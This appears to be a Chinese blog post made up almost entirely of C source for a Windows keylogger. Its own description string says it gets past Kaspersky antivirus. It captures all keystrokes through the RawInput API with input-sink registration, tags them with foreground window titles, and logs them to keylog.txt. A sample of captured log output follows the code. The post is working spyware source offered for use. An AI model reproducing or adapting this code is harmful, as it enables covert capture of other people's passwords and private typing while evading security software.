		AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
		AddVKey(0xE6, "OEM specific"),
		AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
		AddVKey(0xE8, "Unassigned"),
		AddVKey(0xE9, "OEM specific"),
		AddVKey(0xEA, "OEM specific"),
		AddVKey(0xEB, "OEM specific"),
		AddVKey(0xEC, "OEM specific"),
		AddVKey(0xED, "OEM specific"),
		AddVKey(0xEF, "OEM specific"),
		AddVKey(0xF0, "OEM specific"),
		AddVKey(0xF1, "OEM specific"),
		AddVKey(0xF2, "OEM specific"),
		AddVKey(0xF3, "OEM specific"),
		AddVKey(0xF4, "OEM specific"),
		AddVKey(0xF5, "OEM specific"),
		AddVKey(VK_ATTN, "Attn key"),
		AddVKey(VK_CRSEL, "CrSel key"),
		AddVKey(VK_EXSEL, "ExSel key"),
		AddVKey(VK_EREOF, "Erase EOF key"),
		AddVKey(VK_PLAY, "Play key"),
		AddVKey(VK_ZOOM, "Zoom key"),
	    AddVKey(VK_NONAME, "Reserved"),
	    AddVKey(VK_PA1, "PA1 key"),
		AddVKey(VK_OEM_CLEAR, "Clear key"),
		AddVKey(0xFF, "Unknown Virtual-Key Code")
};


LPCSTR GetKeyName(USHORT VKey)
{
	for(int i = 0; i < sizeof(vkis); i++)
	{
		if(VKey == vkis[i].VKey)
			return vkis[i].VKname;
	}
	return vkis[--i].VKname;
}


#endif


#include "StdAfx.h"
#include "rawinput.h"

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
HANDLE	InitLogFile(void);
bool	Intial(HINSTANCE hInstance);
BOOL	RegisitKeyBord(HWND hwnd);
PVOID	GetApiAdd(LPCSTR dllname, LPCSTR procname);

HWND	prev = NULL;
HANDLE	hFile;
char *szInfo = "一个穿透卡巴的键盘记录(带窗口标题获取)利用原始设备输入变化RawInput 键盘记录在当前目录下的Keylog.txt中";
char *szTips = "test";


HANDLE InitLogFile(void)
{
	HANDLE hFile = CreateFile("keylog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	return hFile;
}

PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)
{
	HMODULE hDll = LoadLibraryA(dllname);
	if(NULL == hDll)
		return NULL;
	PVOID pProc = GetProcAddress(hDll, procname);
	FreeLibrary(hDll);
	return pProc;
}

BOOL RegisitKeyBord(HWND hwnd)
{
	if(NULL == hwnd)
		return false;
	
	PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices");
	if(NULL == RegisterRawInputDevices)
		return false;
	
	RAWINPUTDEVICE rid;
	rid.usUsagePage = 0x01;
	rid.usUsage = 0x06;
	rid.dwFlags = RIDEV_INPUTSINK;
	rid.hwndTarget = hwnd;
	
	return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));
}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,PSTR,int iCmdShow)
{
	MSG  msg;

	Intial(hInstance);

	while(GetMessage(&msg, NULL, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return 0;
}

bool Intial(HINSTANCE hInstance)
{
   HWND                hWnd;
   
   WNDCLASS            wndClass;

   wndClass.style          = CS_HREDRAW | CS_VREDRAW;
   wndClass.lpfnWndProc    = WndProc;
   wndClass.cbClsExtra     = 0;
   wndClass.cbWndExtra     = 0;
   wndClass.hInstance      = hInstance;
   wndClass.hIcon          = LoadIcon(NULL, IDI_APPLICATION);
   wndClass.hCursor        = LoadCursor(NULL, IDC_ARROW);
   wndClass.hbrBackground  = (HBRUSH)GetStockObject(WHITE_BRUSH);
   wndClass.lpszMenuName   = NULL;
   wndClass.lpszClassName  = TEXT("Twnd");
   RegisterClass(&wndClass);
   
   
   hWnd = CreateWindow(
      TEXT("Twnd"),   // window class name
      TEXT("键盘记录测试"),  // window caption
      WS_OVERLAPPEDWINDOW,      // window style
      CW_USEDEFAULT,            // initial x position
      CW_USEDEFAULT,            // initial y position
      CW_USEDEFAULT,            // initial x size
      CW_USEDEFAULT,            // initial y size
      NULL,                     // parent window handle
      NULL,                     // window menu handle
      hInstance,                // program instance handle
      NULL);                    // creation parameters

   //将键盘记录写入日志文件
	hFile = InitLogFile();

	if(!RegisitKeyBord(hWnd))
		return 0;
	  
	ShowWindow(hWnd, SW_SHOW);
	UpdateWindow(hWnd);
   
	return 0;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	HDC          hdc;
	PAINTSTRUCT  ps;  
	char vk[256] = {'\0'};
	char ti[256] = {'\0'};
	UINT		dwSize;
	LPBYTE		lpb = NULL;
	RAWINPUT*	raw = NULL;
	DWORD		dwWritten = 0;

	PGetRawInputData GetRawInputData = (PGetRawInputData)GetApiAdd("user32.dll", "GetRawInputData");
  
	switch(message)
	{
	case WM_INPUT:
	   if(NULL == GetRawInputData)
	   {
		   DefWindowProc(hWnd, message, wParam, lParam);
		   return 0;
	   } 
	   GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
	   lpb = new BYTE[dwSize];
	   if(lpb == NULL) 
	   {
		   DefWindowProc(hWnd, message, wParam, lParam);
		   return 0;
	   } 
	   
	   if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
		   break;
	   
	   raw = (RAWINPUT*)lpb;
	   
	   if (raw->header.dwType == RIM_TYPEKEYBOARD) 
	   {
			if ( prev == NULL)
			{
				prev = GetForegroundWindow();
				GetWindowText(prev,ti,256);
				wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
			}
			else if ( prev == GetForegroundWindow() )
			{
				wsprintf(vk,"%s",GetKeyName(raw->data.keyboard.VKey));
			}
			else
			{
			   prev = GetForegroundWindow();
			   GetWindowText(prev,ti,256);
			   wsprintf(vk,"\r\n\r\n[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
			 }

			if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)))
			{
			    SetFilePointer(hFile, 0, NULL, FILE_END);
				WriteFile(hFile, vk, (DWORD)strlen(vk), &dwWritten, NULL);
			}
	   }
	   delete[] lpb; 
	   DefWindowProc(hWnd, message, wParam, lParam);
	   return 0;

   case WM_PAINT:
      hdc = BeginPaint(hWnd, &ps);
	  TextOut(hdc, 10, 10, szInfo, strlen(szInfo));
	  TextOut(hdc, 10, 30, szTips, strlen(szTips));
	  EndPaint(hWnd, &ps);
      return 0;

   case WM_DESTROY:
      PostQuitMessage(0);
	  CloseHandle(hFile);
      return 0;

   default:
      return DefWindowProc(hWnd, message, wParam, lParam);
   }
	return 0;
}


Test


[rawinput1]
[F5][F5][F5][F5][Mirrorhijacking - Microsoft Visual C++ - [E:\...\RawInput\RawInput.h]]
[ESC][ESC][ESC][SHIFT]2de[BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE][ENTER][SHIFT]3de[ENTER][space][CTRL]s[ALT][ALT]

[虚拟键码VK值大全(Virtual-Key-Codes).doc [兼容模式] - Microsoft Word]
[CTRL]c

[Mirrorhijacking - Microsoft Visual C++ - [E:\...\RawInput\RawInput.h]]
[CTRL]v[ALT][ALT][ALT]

[Mirrorhijacking - Microsoft Visual C++ - [E:\...\RawInput\RawInput.h *]]
[CTRL]c[CTRL]v[space][BACKSPACE][CTRL]s[ALT][CTRL]c

[Mirrorhijacking - Microsoft Visual C++ - [E:\...\RawInput\RawInput.h]]
[BACKSPACE]3[CTRL]s[DOWN ARROW][SHIFT]3de[ENTER][space][CTRL]v[space][ALT][CTRL]c

[Mirrorhijacking - Microsoft Visual C++ - [E:\...\RawInput\RawInput.h *]]
[CTRL]v[CTRL]z[ALT][CTRL]c

[Mirrorhijacking - Microsoft Visual C++ - [E:\...\RawInput\RawInput.h *]]
[CTRL]v[ENTER][CTRL]s[ALT][CTRL]c

[Mirrorhijacking - Microsoft Visual C++ - [E:\...\RawInput\RawInput.h]]
[TAB][space][space][键盘记录测试]
dwhifhwiqfiqfiqnfiqfn






评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值